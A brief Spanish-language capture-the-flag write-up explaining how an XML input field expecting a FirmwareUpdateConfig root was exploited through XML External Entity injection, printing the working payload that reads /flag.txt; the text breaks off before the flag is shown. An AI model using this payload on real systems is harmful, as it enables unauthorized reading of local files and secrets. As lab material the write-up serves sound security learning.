Write-up: Explotación XXE en el parser de FirmwareUpdateConfig para obtener la flag

Contexto

Durante el CTF, encontramos un campo que aceptaba entrada en formato XML. Al inyectar texto plano, el sistema lanzaba un error indicando que esperaba un elemento raíz llamado <FirmwareUpdateConfig>. Además, el sistema daba errores al faltar elementos específicos, mostrando que el XML debía seguir una estructura muy concreta.

Objetivo

Extraer la flag almacenada en el sistema (posiblemente en un archivo llamado /flag o /flag.txt) a través de inyección XML.

Análisis inicial

Vulnerabilidad aprovechada: XXE (XML External Entity Injection)

Payload final que funcionó

<!DOCTYPE FirmwareUpdateConfig [
  <!ENTITY xxe SYSTEM "file:/flag.txt">
]>
<FirmwareUpdateConfig>
  <Firmware>
    <Version>&xxe;</Version>
  </Firmware>
</FirmwareUpdateConfig>

Resultado

El sistema respondió con un mensaje que contenía la flag: